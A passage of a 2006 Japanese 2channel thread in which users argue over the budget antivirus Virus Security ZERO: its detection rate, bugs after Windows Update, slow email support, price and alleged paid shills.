289 :名無しさん@お腹いっぱい。:2006/08/08(火) 16:27:59
winnyで感染している赤の他人のPCとネットワークはつながってるから
winnyウイルス非対応というのは欠陥だね。
現状維持でこのまま衰退してね


290 :名無しさん@お腹いっぱい。:2006/08/08(火) 18:05:43
>>279
そういう問題じゃなくてさ
リアルタイムのオンアクセスで検出しなければアンチウイルスなんか意味ないよ
定期的にトレンドとシマンテックでチェックしました。チェックしたら感染してました
じゃ完璧に遅いわけ。アンチウイルスは感染を防ぐものであって
感染しているかどうかを確認するものじゃないんだから

291 :名無しさん@お腹いっぱい。:2006/08/08(火) 20:25:07
楽天のレビューの評価ががいいから買いかもと思ったのに
ここだと評判悪いみたいだし、いいのか悪いのかわからNEEE!

292 :名無しさん@お腹いっぱい。:2006/08/08(火) 20:33:02
>>291
http://pc8.2ch.net/test/read.cgi/sec/1148935377/883-

293 :名無しさん@お腹いっぱい。:2006/08/08(火) 20:36:20
>>291
楽天のレビュー
>この商品(ショップ)には、購入をした事がない方もレビューを書くことができます
こんなレビューに評価が良いも悪いもないと思うが

294 :名無しさん@お腹いっぱい。:2006/08/08(火) 22:59:04
>購入をした事がない方もレビューを書くことができます

このスレと同じだw

295 :名無しさん@お腹いっぱい。:2006/08/08(火) 23:11:14
May 01, 2006
朝起きたら、背中だけでなく足にも腫物ができてやがった。
犬どものオリがやけに静かなんで、足引きずって見に行ったら数が全然たりねえ。
めしを三日抜いたくらいで逃げやがって。 おえら方に見つかったら大変だ。

May 03, 2006
昨日、この屋しきから逃げ出そうとした研究いんが一人、射さつされた、て はなしだ。
夜、からだ中 あついかゆい。
胸のはれ物 かきむしたら 肉がくさり落ちやがた。
いったいおれ どうな て

May 06, 2006
やと ねつ ひいた も とてもかゆい
今日 はらへったの、いぬ のエサ くう

May 07, 2006
今日ウイルスセキュリティーを飲んでからすっかり体調も良くなった。
さらに職場で気になっていたあの娘から今晩デートに誘われた。
昇進も決まったし、今最高の気分です。 飲んでて良かったウイルスセキュリティー

296 :名無しさん@お腹いっぱい。:2006/08/08(火) 23:53:08
急にバイオハザードがやりたくなった。どこにしまったけ・・・。
サンクス295。

297 :名無しさん@お腹いっぱい。:2006/08/08(火) 23:58:59
ウイルスセキュリティZEROが幅をきかせてきたため、
一年版がなくなっている。
在庫がある店もたまにあるが、価格が高騰している。
はやめに買っておけば良かった・・・

298 :名無しさん@お腹いっぱい。:2006/08/09(水) 00:46:54
本当にどうしようもないソフトだったら幾らなんでもここまでは売れない。
普通の人には事足りるソフトだって事さ。現実は正直。
ネットセキュリティーばっかり執着して
現実のセキュリティーを疎かにしてもしゃーないし(リアニートにはあまり関係ないか)。

PS3に7万出すのがバカらしい、Wiiで十分てのと同じ。バランスの問題。
適当なバランスと言うのも人による。この板でのバランス感覚では駄目烙印押されるんだろうが・・・

299 :名無しさん@お腹いっぱい。:2006/08/09(水) 00:59:03
俺は売れてないとおもうけどな
10年も入れ続けるなんて考えられん


300 :名無しさん@お腹いっぱい。:2006/08/09(水) 01:17:01
http://pc8.2ch.net/test/read.cgi/win/1129372439/
ウイルスセキュリティは人気ないね

301 :名無しさん@お腹いっぱい。:2006/08/09(水) 01:53:37
>>297
>価格が高騰している。
いくら何でもキチガイすきだろ
ウイルスセキュリティ2006の値段が高騰ですか
いったい幾らで売ってるんですか、その店は

302 :名無しさん@お腹いっぱい。:2006/08/09(水) 02:11:03
確かに値上がっているな
俺の逝く店では、二千五、六百円くらいにはなってた

かなり強気な値段だと思うが

303 :名無しさん@お腹いっぱい。:2006/08/09(水) 02:45:45
自分で買い込んで売り上げ金額の順位操作するなよ

304 :名無しさん@お腹いっぱい。:2006/08/09(水) 02:53:27
http://pc8.2ch.net/test/read.cgi/sec/1153029277/283

305 :名無しさん@お腹いっぱい。:2006/08/09(水) 03:32:43
>>302
俺の近くの店じゃなくて店名を挙げろ

306 :名無しさん@お腹いっぱい。:2006/08/09(水) 04:27:41
なんか突然「システム防御」が赤色になって無効になってしまった・・・。
“有効にする”をクリックしても、緑色に変わるものの、
システム防御を有効にできません。説明を参照するか、
製品を再インストールしてください。
ってなっちゃうよ・・・。

もうなんでなんだぁ〜泣

307 :名無しさん@お腹いっぱい。:2006/08/09(水) 06:15:38
spybotインストールしてるんじゃないの?

308 :名無しさん@お腹いっぱい。:2006/08/09(水) 10:34:13
>>306
2ヶ月前の俺と同じ症状。ひょっとしてwindows update中になったんじゃないか?
再インスコしても直らなかったけどどう?

309 :名無しさん@お腹いっぱい。:2006/08/09(水) 12:29:08
>>305
いくらでもネットに出てるだろ?
ちっとは自分で調べろよ

310 :名無しさん@お腹いっぱい。:2006/08/09(水) 13:30:28
>306 >308
うちも今日windows updateしたら
その症状になった。まだ解決できてないけど
再インストールしてもだめなんじゃ・・・
どうしたものか

311 :名無しさん@お腹いっぱい。:2006/08/09(水) 13:55:05
こちらXP。今日行ったWindowsアップデート後も問題なし。参考までに。

312 :名無しさん@お腹いっぱい。:2006/08/09(水) 14:42:05
310です。
>306さんのところで私自身が読み違えていたので追記します。

ウイルスセキュリティー自体はちゃんと稼動してるんだけど
XPのセキュリティーセンターがファイル対策ソフトの認識が
出来ないと警告を出してきているということです。
ウィルスセキュリティー自体は動いているので
今はXPの対策ソフトの監視だけを一時的に切っています。

313 :名無しさん@お腹いっぱい。:2006/08/09(水) 15:56:17

アップデート 9.0.0085 再起動なし キタ*・゜゚・*:.。..。.:*・゜(゚∀゚)゚・*:.。. .。.:*・゜゚・*!!!!!

314 :名無しさん@お腹いっぱい。:2006/08/09(水) 21:41:53
ZEROスレのほうが廃れてきたな。

315 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:01:40
こっちは平和だな。

316 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:04:55
>>19
使えない部分を使えないと言えばアンチ扱いですか?
あなたはファンと言うより信者ですねw

317 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:05:28
おまえらまだこのソフト使ってるの?
マゾ過ぎないか?

このソフト入れてウィルス検知したことある香具師いるのか?

318 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:18:51
ウィルス検知するはずないじゃん
だから見かけ上平和なんだyp

319 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:19:56
まあ、普通の人が普通の使い方するんだったら、
「ウイルスセキュリティZERO」でも全く問題ないけど。

ここで文句ブーブー逝ってる奴らは、
めちゃくちゃなデバイス&システム構成の上に
違法ファイル交換しまくって、海外エロサイト巡回が生き甲斐の
連中だからなあ・・・

こういうタワケな輩まで、面倒見る必要などないんだけどね。本来。
お客を選べない・・・てのが、ソースの悲劇なわけw



320 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:20:44
客を選ぶなら1980円で売らなきゃいい罠。

321 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:24:55
>>316,317
このサイト熟読汁
http://www.higaitaisaku.com/

322 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:41:47
>>321
ZEROを導入しないことが一番の被害対策であることが分かりました

323 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:44:39
別に使いたくなければそれでいいんじゃね?
わざわざ書き込むアンチ工作員乙

324 :名無しさん@お腹いっぱい。:2006/08/09(水) 22:45:14
こんな糞スレみたことねぇw

325 :名無しさん@お腹いっぱい。:2006/08/09(水) 23:05:00
アンチは社会的弱者である可能性が高いと思う。

326 :名無しさん@お腹いっぱい。:2006/08/09(水) 23:10:54
>>323
そわざわざ書き込む必要のない書き込みだなそれ

327 :名無しさん@お腹いっぱい。:2006/08/09(水) 23:11:18
>>321
そのサイトはウイルス、スパイウェア検知率低いソフト使ってる人に読ませてあげたほうが・・・

328 :名無しさん@お腹いっぱい。:2006/08/09(水) 23:23:45
>>326
   ∧_∧  / ̄ ̄ ̄ ̄ ̄
  ( ´∀`)< オマエモナー
  (    )  \_____
  | | |
  (__)_)


329 :名無しさん@お腹いっぱい。:2006/08/09(水) 23:57:05
セキュリティソフトは設定が難しすぎ
インテリジェントストリーム検知を使用しますかって聞かれてどれほどのユーザーがわかるというのだ
正しくない設定でセキュリティソフト使ってるユーザーって絶対多い

その点ウイルスセキュリティは良心的
基本的にインストールすればその他の設定は必要ない
これより使いやすいセキュリティソフトは見たことないなあ

330 :名無しさん@お腹いっぱい。:2006/08/10(木) 00:02:49
つウィルスバスター

331 :名無しさん@お腹いっぱい。:2006/08/10(木) 00:19:02
>>300



332 :名無しさん@お腹いっぱい。:2006/08/10(木) 00:39:25
>>329
なんだそれ。意味は分からんこともないが聞いたことねえな。
そんな聞いたこともない確認をしてくるのはどこのソフトだ?

333 :名無しさん@お腹いっぱい。:2006/08/10(木) 00:44:32
NODか・・・・
ありゃあ、評価ダダ下がりだね

334 :名無しさん@お腹いっぱい。:2006/08/10(木) 01:06:02
このスレにピットクルーの奴は何人いるんだ?

335 :名無しさん@お腹いっぱい。:2006/08/10(木) 01:16:34
わざわざ書き込むのは誇大広告
に騙されるやつがかわいそうだから
代わりは何って?
ウイルスセキュリティ以外なら
進歩だよ

336 :名無しさん@お腹いっぱい。:2006/08/10(木) 02:04:33
わざ
され
りは
ルス
だよ

ういるすきらぁ最強

337 :名無しさん@お腹いっぱい。:2006/08/10(木) 02:24:25
ういるすきらーって、Javaアプレットと相性悪いんだよな。あれはイケてない。

338 :名無しさん@お腹いっぱい。:2006/08/10(木) 13:50:06
>>335
何言いたいんだ?

avast最高です^^
友達全員avastです^^
無料でVS以上のクオリティ^^
もう最高です^^

ってこと?

339 :名無しさん@お腹いっぱい。:2006/08/10(木) 14:15:39
>>338
あなたは個人フリーのアンチウイルスではavastしか知らない鳥頭ですか?

340 :名無しさん@お腹いっぱい。:2006/08/10(木) 14:31:08
ブルースクリーンは眉唾だと思っていたら今日なったよ
さすがに直接パソコンに入れたくはないのでVMware上だけど
インストール→更新→再起動要求→ブルースクリーン
→リセット→前回正常状態復帰orセーフモードの順だった
OSはWindowsXPProSP2、クリーンインストール→WindowsUpdate直後

341 :名無しさん@お腹いっぱい。:2006/08/10(木) 14:40:45
windows updateとウィルスセキュリティの相性は悪いです
windows updateはしないでください

342 :名無しさん@お腹いっぱい。:2006/08/10(木) 14:59:49
>>338
avastが最高とは言わないけど、
>無料でVS以上のクオリティ^^
↑に関してはよくわかってるじゃないかー

343 :名無しさん@お腹いっぱい。:2006/08/10(木) 18:40:02
一番いい!? セキュリティソフト相互比較!!Part10
http://pc8.2ch.net/test/read.cgi/sec/1138262899/

>480 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/08/10(木) 18:20:54
>   >>477
>   NODやカスペの時はVB100%やAV-comparativesなど
>   世界的検査機関の結果があったが、K7にはそれがない。根拠がないので議論にならない
>   ほとんど俺の主観、となってしまうのが痛いところ
>   言ってしまえば世界的にも存在価値を認められていないソフトだということでもあるが

>481 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/08/10(木) 18:29:19
>   >世界的にも存在価値を認められていないソフト
>   >>480が痛いところ突いてきたぞw

>482 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2006/08/10(木) 18:33:58
>   おいピットクルー、>>480にどう反論する?wwwww



344 :名無しさん@お腹いっぱい。:2006/08/10(木) 21:10:28
>>306さんと同じ症状で困っています。
再インストールして再設定し直しても、
またいつの間にか無効になってます。
ん〜無効って怖いんですよね・・・

345 :名無しさん@お腹いっぱい。:2006/08/10(木) 21:21:09
お笑いソフト全開だな

それでも使い続けてるおまいらはMEZZO

346 :名無しさん@お腹いっぱい。:2006/08/10(木) 22:01:55
>>344
その件でサポートに連絡しても、再インストールしか答えが帰ってこなかったよ。

・リカバリー
・他のソフトに乗り換える
・PCを窓から(ry
・Macにする
好きなの選べ。

347 :名無しさん@お腹いっぱい。:2006/08/10(木) 22:14:30
>>346
そうそうw
俺も一緒。再インストールしか言ってこない。
まぁそもそもサポートとか言ってもソースのサポートに解決能力があるとは思ってないけど。
ちなみにメールを送ると返事は一週間後。忙しかったからとか言い訳も書いてあった。

348 :名無しさん@お腹いっぱい。:2006/08/10(木) 22:27:36
ttp://news.livedoor.com/webapp/journal/cid__2305303/detail?rd

まあ、こういう会社もあるみたいだし
ここのアンチもどこかの企業から金もらってんじゃねえのと、疑いたくなるね

349 :名無しさん@お腹いっぱい。:2006/08/10(木) 22:32:23
>>348
お前の書き込みの時給いくら?

350 :名無しさん@お腹いっぱい。:2006/08/10(木) 23:05:30
>>349
まずはおまえから いくら?


351 :名無しさん@お腹いっぱい。:2006/08/10(木) 23:10:42

親はこんなところでストレス発散する事なんて望んでないと思うぞ。

352 :名無しさん@お腹いっぱい。:2006/08/10(木) 23:14:40
>>6
俺はこんなのはずかしい


353 :名無しさん@お腹いっぱい。:2006/08/10(木) 23:35:43
>>348
リンク先の話は”擁護”側の依頼であって、つまり火消しの方
なのにお前の解釈は火付けの方。まったく逆
むしろ記事的にはソース側が”擁護者”に金を払ってると解釈する方が自然
必死で庇おうとすると解釈にも不自然が生まれてくるんだねぇ

354 :344:2006/08/10(木) 23:51:55
>>346>>347さん、ありがとうございます。
再インストールしてもダメなので他に乗り換えることにします。
使い始めて半年なんだけどなぁ〜;;

355 :名無しさん@お腹いっぱい。:2006/08/10(木) 23:59:15
>>348
>掲示板の中傷が過熱した場合には、書き込みで誘導し、悪意を緩和させる措置も取る
まさに信者サイドのやることだな。
どちらかというと俺はアンチサイドだが、なんでアンチなのか理解してるか?
それはこのソフトを使って不愉快な思い(不具合、サポートの態度等)をしたからアンチなんだよ。
金を払って買った分しゃーなしに使ってはいるが。

356 :名無しさん@お腹いっぱい。:2006/08/11(金) 00:02:34
>>355
自分のスキル不足を棚に上げて、人に八つ当たりするなよ

357 :308=346:2006/08/11(金) 00:15:08
>>356
じゃあ>>344の件はスキルフルなお前がサポートしろ

>>354
俺は5ヶ月目に出た。
俺の場合はホームページビルダーが欲しくて買った得パックに入ってたやつだし、問題が多いのを知ってて変な事をしないサブマシンに敢えて入れてみてたからすぐ諦めたけど。
ZEROは更新料無料を謳ってるけど、あのサポートでずっと使い続けるのはどれぐらいいるのか興味あるなw

358 :名無しさん@お腹いっぱい。:2006/08/11(金) 00:32:43
>>356
不具合というのはプログラムのバグであって
ユーザーがスキルで補うような問題ではありません

359 :名無しさん@お腹いっぱい。:2006/08/11(金) 00:35:01
何でこんなクソソフト使ってるの?しかも金まで払って・・・


360 :名無しさん@お腹いっぱい。:2006/08/11(金) 02:36:30
俺、四年使ったノートンに嫌気がさし、今日ゼロに鞍替え。
XP更新後も例のバグがでたけど、他の更新やウィルス検地しているうちに、いつの間にか解消。
Pcも動作が速くなって、超満足しているのですが?

361 :名無しさん@お腹いっぱい。:2006/08/11(金) 02:41:59
四年前のPCにノートン入れるほうがアホだろ
そのお頭じゃZEROの欠陥にも気がつかねーな


362 :名無しさん@お腹いっぱい。:2006/08/11(金) 03:48:17
今日パソコンにZEROを入れ、1日経たずして意気揚々と2chに超満足だと報告
嘘かホントか更新時にバグが発生しているにも関わらず超満足
この具合なら今後何が起こっても超満足だろう

363 :名無しさん@お腹いっぱい。:2006/08/11(金) 03:50:22
量販店の店員が客に「性能はどれも似たり寄ったりですね。VSは安いので比較的売れてます。」と言っていた。
客は「じゃ、これで」と店員の薦めでVSを買って逝った。
家電や携帯電話でも言える事だが、商品に詳しくない客は店員の意見や店の戦略に左右される。

364 :名無しさん@お腹いっぱい。:2006/08/11(金) 06:05:49
例え感染してもその店員に責任があるわけじゃないしな
まったくないわけでもないが元凶は別

365 :名無しさん@お腹いっぱい。:2006/08/11(金) 06:18:33
>>348
なんでこの記事を読んでアンチが企業から金を貰ってるという発想になるのが不思議でならない。
企業が悪評沈静化のために金を払っている、という内容なのに。
信者は正義のため自発的に行動をし、アンチは企業から金を貰っているとでも?
正常な思考の持ち主ならどちらも貰っている、かどちらも貰っていない、に至るはず。
自分が片方にどっぷり浸かっていて、片方を必死に叩きたいからこんなことにも気がつかないんだね。

366 :名無しさん@お腹いっぱい。:2006/08/11(金) 06:24:23
アンチが企業から金貰ってたら営業妨害だ罠。

367 :名無しさん@お腹いっぱい。:2006/08/11(金) 06:31:33
信者が企業から金貰ってたら営業活動だ罠。

368 :名無しさん@お腹いっぱい。:2006/08/11(金) 07:04:09
よって、信者に金を払って自社製品を擁護してもらうのは容易に考えられるが、アンチに金を払って他社製品の誹謗中傷を書き込ませるような事はまともな会社はやらないと考えられる。

369 :名無しさん@お腹いっぱい。:2006/08/11(金) 08:13:03
>信者は正義のため自発的に行動をし、アンチは企業から金を貰っているとでも?
正常な思考の持ち主ならどちらも貰っている、かどちらも貰っていない、に至るはず

なるほど、アンチの活動だけは正義と言いたいらしい
そして、自分たちの方には翻って考える、ということもしないようだ
ここまで粘着して一つの製品を叩き続けることができるのは、
そういう思いこみと錯覚に呪縛されているから、ということか

370 :名無しさん@お腹いっぱい。:2006/08/11(金) 08:28:51
俺は複数の調査機関のレポートを見てVSのウイルス検出率は低いなぁと思ったから使ってない。
だから、VSがイイのかイクないのかは知らない。
よって、VSに関するスレを読んで思ったことを書いた。

【バグが発生しない、問題なく使える】
どんなソフトでもバグが無いのが理想であり、ウイルス検出とは別の話。
バグの話題で盛り上がるのは、機能の良し悪し以前に品質に問題がある。
「問題なく使える」というのは、ウイルスを検出してるって事?問題を起こしてないって事?使いやすいって事?
ウイルス対策ソフトの第一の目的はウイルス感染を防止する事であり、防止できなかったとしても感染を最小限に食い止めなけばならない。
・ウイルス感染の防止
・感染したウイルスの発見
・感染したウイルスの駆除
・ウイルスに感染したファイルの隔離、削除
のいずれもできなければお話にならない。
「問題なく使える」が、これらの動作ができてるのと、常駐してるだけのとでは全然違う。

【他社のオンラインスキャンでもウイルスが検出されなかったからVSは優れている】
「ウイルスがVSでも他社製でも検出できた」もしくは「他社製で検出できないウイルスがVSで検出できた」なら納得。
他社製でも検出されなかったのは、それまで感染する機会が無かっただけじゃないの?過去に一度でも警告画面出た?
感染の機会が無ければVSをインスコしてなくても同じ事。
俺は、インスコしてから一度も警告画面が出ないと「ホントに機能してるの?」と不安になる。

<VSが良いと書き込んでる人へ>
俺は、「問題なく動作してる」という動作報告よりも、「このウイルスを検出した」とか性能に関する報告をしてもらったほうがいいと思う。あまり細かく報告されても困るが。
「負荷が軽い」だけじゃなく、「負荷が軽いのにこんなに検出するんだよ」っていうのをアピールしてほしい。
アンチを非難する暇あったら、VSのいい所を書き込もう。アンチを非難しても何の得にもならないぜ。
VSのアピールが足りないし、アピールできなければ書き込まなくてよいと思う。

今のレベルではまだ使う気はないが、性能やサポートを含めた品質が上がればVSを使うこともやぶさかではないので、こういうスレの意見をソースネクストが真摯に受け止めてくれることを願う。

371 :名無しさん@お腹いっぱい。:2006/08/11(金) 09:13:11
今の消費者って馬鹿じゃない。
ものを買うときはネットで口コミを調べられるし実際に調べる。
VSに関しては酷評も多い。
それにもかかわらず売り上げはトップクラスにいる。
トップになれないのはネットで指摘されている問題点が割り引かれているからだろう。
ソースにはこの問題点を改善するために全力を尽くしてもらいたい。
そして、実社会でもそうであるように、必要なのは建設的な議論なので、それができない者はここから去ってもらいたい。

372 :名無しさん@お腹いっぱい。:2006/08/11(金) 09:29:08
>性能やサポートを含めた品質が上がればVSを使うこともやぶさかではない

10年分で3000円台でそこまでは望みすぎ。
そこまで性能サポート求めるなら、2ちゃんでも酷評されない
「高いまとも」なソフトをきちんと金をだして買うべき。

373 :名無しさん@お腹いっぱい。:2006/08/11(金) 09:34:51
別に難しく言わなくても、
VSの使用者は、
とりあえず動けば、
とりあえず「見かけ上」役に立っていれば
満足するくらいしか、このソフトに期待していない段階と思われる。
そこに、高額ソフトと同じレベルを求めるような他社ユーザーが
入ってきて酷評する。
VSユーザーが
「我々が良いと思っているのに、横から入ってきて何だ、無茶苦茶言うな」
と反発する。
そうして、場が荒れる。
そんな程度だと思う。

374 :名無しさん@お腹いっぱい。:2006/08/11(金) 10:06:29
なんか、擁護側の連中って、 『 米国の牛肉は安全だ 』 って言ってる奴らと大差ないわな。
安けりゃ多少のリスクはかまわないじゃん、みたいな。
明らかな危険性を指摘するデータは一切無視して、ただ 『安全だ』 の繰り返し。
それじゃ疑いを増すばかりだってばさ。 w

セキュリティを扱う商品の安全性に不安がある状態は明らかに異常でしょ。
ただ 『問題無い』 『言い掛かり』 と言い続けても、全然説得力が無いぞ。 w

375 :名無しさん@お腹いっぱい。:2006/08/11(金) 10:13:02
>>372
サポートってソースはメールのみの電話サポートなしで
不具合発生はすべて再インストール指示のメールしか来ない
俺の場合、返信は五日後だった
こいつらが開発したわけじゃないから答えられないんじゃないかと思う

376 :名無しさん@お腹いっぱい。:2006/08/11(金) 11:06:38
3年前の誕生日に買ってもらったバイオでネットをやっている君
友達も金もなくて自分の部屋にこもっている君のことだよ
君のノートンはずっと前に期限切れだろ

君に存在価値がないのは仕方がない
君が家族に迷惑をかけるのもかまわない
君がそんな風になってしまったのは家族にも責任がある
ただし他人に迷惑をかけるのはやめろ

とりあえずこのソフトでいいからインストールしとけ
グダグダ言って何もしないよりはずっとましだ

377 :名無しさん@お腹いっぱい。:2006/08/11(金) 11:28:51
>>374
そんなに不満だったら、君は大金払って脳豚でも飼えよ
金がないなら、フリーでも入れてろ

378 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:18:03
最近ウイルスセキュリティで検出したウイルス

2006-8-05 Trojan.Ruby.Kakkeys.a
2006-7-17 Worm.Antinny.af
2006-7-15 Trojan.HLLW.Antinny.a


379 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:34:55
>>378
ダウソに行けカス

380 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:35:40
それだけ更新か
ひでーな

381 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:40:47
>>378みたいに、検出したウイルス、検出できなかったウイルス(シマンテック等のオンラインスキャン等で検出)の情報はありがたい。

382 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:44:37
>>377
ttp://kakaku.com/sku/pricemenu/internet.htm

大金っていうけど、千円札2枚の差だよ
ウイルスセキュリティ検出わるすぎ



383 :名無しさん@お腹いっぱい。:2006/08/11(金) 12:49:04
ヒント みんなの迷惑

384 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:07:14
>>461
オマエ日本語理解能力0

4年使った=4年前ではない

385 :384だけど:2006/08/11(金) 13:09:43
>>461じゃなかた、>>361だた。
スマソ
>>360は俺だけど、4年前のPCでもなければ、4年前のノートンでもないよ。
PCは途中買い替えてるし、ノートンは更新している。
ノートン試用期間が4年つことだ。

日本語は正しく理解しようなw

386 :461:2006/08/11(金) 13:10:24
>>384
悪い、3日後くらいに書き込むから待ってくれ

387 :461:2006/08/11(金) 13:11:09
くそ、これじゃアホみたいだ

388 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:12:56
             ,. - ─── - 、
             /    ,       `ヽ.
            /〃//,. ,ィl/|l ト、 !、 、  ヽ
          ー'´| | l |1 | !l. l| ! | l.|ヽ ! !、 ',   おじちゃんたち
             YレV!ヒエ「! |l.「_ト!Ll」| l l  l   どうしてはたらかないの?
           ! lハイJ |  ´|_jヽ. リ,! ! l. l |
             |l |l.} ー ,   L _,ハl.lトl l. | l
             |l ilト、   n  ''  ,1l|ィ| |l l |
           _ 二,ニ^tュ--ェ_t1」l.|l !リ|_lノ
       r7´   f r┐| 〔/ミヽ>,-、 ̄´
       Y       ー个‐'t  ハ-、_'ゝ、
        ヽ ._・ rく ̄ヽト-'丿  ヽ l
        / (・__,)ゝi┬'´ハ`     '`|
          |ヽ, イ   ノ┴くヽヽ、    /
        `´ ゝ┬ヘ`ヽ   |  `ー‐1
           ゝノ-‐^ー'一''丶  ヽ ヽ
           ト、_       `ーァ'¨不ヽ
            | | 「 ̄「 ̄l ̄ト、,イトヒi′
             l l. l   l  !  !└' l |
             └ L 」_,|__l_l.__L.l′
             |   |  |   |
              l   l   !   !
                l   l.   l   l
            ト--┤   !--‐1
              f‐t央j.   ト央ァヘ
              |  甘l、  / 甘  |
             l  ,.-‐ヽ レ'⌒ヽ/
            `く.__ ノ ゝ--‐′



389 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:14:00
更新料が必要ないのが大変素晴らしいです

390 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:19:23
更新料が必要ない分、更新がでたらめです

391 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:23:18
ゼロは成長期待の新人ってとこだなw
シェアを増やして機能UPの今後に期待と思えば安いもんだ。

大体よ、新品に1万近くもする脳豚こそ、ボリすぎ。
たかが家庭のPCに、仕方なく入れるソフトに、そこまで金かけたくない。
更新料も年々値上げしすぎだ。

PCスペックの邪魔になるウンコ脳豚に未来は無いね

392 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:23:50
更新料が必要な分意味のない更新もやっています

393 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:36:44
×機能UPの今後に期待
そんな良心的な会社じゃない

http://www.google.co.jp/search?ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja&q=%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%8D%E3%82%AF%E3%82%B9%E3%83%88%E3%81%AE%E9%87%8D%E5%A4%A7%E7%96%91%E6%83%91

394 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:37:10
>>385
たかが1日使用しただけで満足してるお前が言えるセリフでもないな
何でお前はたかが24時間以内の使用ごときで満足感を得てるんだ?

395 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:38:56
>>391
ノートンが気になって気になって仕方ない書き込みだな
VS使ってるのになんでノートンの売り上げがそんなに気になるんだか

396 :名無しさん@お腹いっぱい。:2006/08/11(金) 13:55:55
真実は
>>16



397 :名無しさん@お腹いっぱい。:2006/08/11(金) 14:38:37
擁護もアンチも必死だね。頑張って。

398 :名無しさん@お腹いっぱい。:2006/08/11(金) 16:12:05

VSの検出率の低さは定義ファイルの更新頻度が少ないがための時間差によるところが大きいのではないか。

399 :名無しさん@お腹いっぱい。:2006/08/11(金) 16:22:29
ウイルスセキュリティZEROはこれから大きく伸びていく木の芽の様なものだ。


結論!

みんなで温かく見守って、大きく育てていこう

400 :名無しさん@お腹いっぱい。:2006/08/11(金) 16:40:54
>>398
WildListでさえ検出逃してるからそれはないね。
そもそも少ないと言っても週一。一週間後にピンポイントで更新されるとも考えられない。

401 :名無しさん@お腹いっぱい。:2006/08/11(金) 17:11:45
様々な新製品が次から次に出てくるのに
こんなウンコ丸出し
10年も馬鹿面して入れていられるかよ


402 :名無しさん@お腹いっぱい。:2006/08/11(金) 22:06:00
10年間高いソフト買うよりはよほど賢いかと

403 :名無しさん@お腹いっぱい。:2006/08/11(金) 22:18:11
10年間感染に不安を抱き、不具合と戦い続けるのは賢くないな

404 :名無しさん@お腹いっぱい。:2006/08/11(金) 22:19:22
2年間感染も不具合も無いのだが・・・

405 :名無しさん@お腹いっぱい。:2006/08/11(金) 22:38:34
10年間のうち3年分位は体験版試すし、PCだって買い換えるぞ
時代の進化も考慮しろよ
この単細胞!

406 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:08:20
俺は18年間ウイルス対策ソフトを入れた事が無かったが、一度も感染はないぞ。
さすがに最近はまともな目的のサイトでも改竄されてマイPCに感染する時代だから入れたけど。
数年程度ウイルス感染しなかった程度では、俺には響くものがない。
その数年でどれだけのウイルスをブロックできたかを教えてくらはい。

407 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:24:29
>18年間ウイルス対策ソフトを入れた事が無かったが

N-88Basic@NEC
でかね?

408 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:28:18
他のソフトが高い高いって、年間いくら?じゃあ月いくら?
安かったら感染してもしかたないのか?
まともなサイトにアクセスして感染した人達はそう思ってるのかな。
俺ならトサカにくる。もちろん一番は改竄した奴にだが。

409 :406:2006/08/11(金) 23:31:07
PC88シリーズとBASICしか知らんのか?
そんなつまらん突っ込みより、VSの実績(どんだけ検出してどんだけ取りこぼしたか)を教えてくれ。

410 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:34:03
>>409
どっかから持ってきた他人のデータより、実体験が一番さ
18年もコンピュータ扱ってきた君なのだから、
それくらい分かると思うがね

411 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:36:00
>>406
>>128
http://pc8.2ch.net/test/read.cgi/sec/1155128509/111

412 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:37:50
>>409
N-88Basicは88でしか使えないとでも思ってんのか?
それ以前に>>406が笑えるけどな。


413 :409:2006/08/11(金) 23:38:53
>実体験が一番さ
おっしゃっている意味が分かりません。
18年間感染してないのが実体験なのだが、ここではVSを使えって事か?
すでに他のソフトを使ってんだから、VSがそれより上の性能でなければ使わねえよ。

414 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:45:13
>>413
で、今は何を使っているんだい?

415 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:45:23
「18年前」からN-88Basicを想像したんだろ?
負け惜しみはやめろよ。
俺はVSの良いところを挙げてほしかったんだがな。
ま、今後もVSを使うことはないので、アンチとやり続けてくれ。

416 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:51:14
一度も感染したことがないと言われてもな
その言い方だと確認さえしてなさげだから
こっそり感染していた可能性は拭えないな

417 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:52:04
>今後もVSを使うことはないので

だったら何で訊くの?
最初から使う気なしの冷やかし荒らしクンですか?

418 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:52:46
入れていなくてもチェックはできる

419 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:53:08
>>415
>俺はVSの良いところ
どれだけ考えても安い以外思いつきません

420 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:53:49
>>418
無理です。入れずにチェックって目視ですか?

421 :名無しさん@お腹いっぱい。:2006/08/11(金) 23:53:52
結局、409は何がしたかったの?

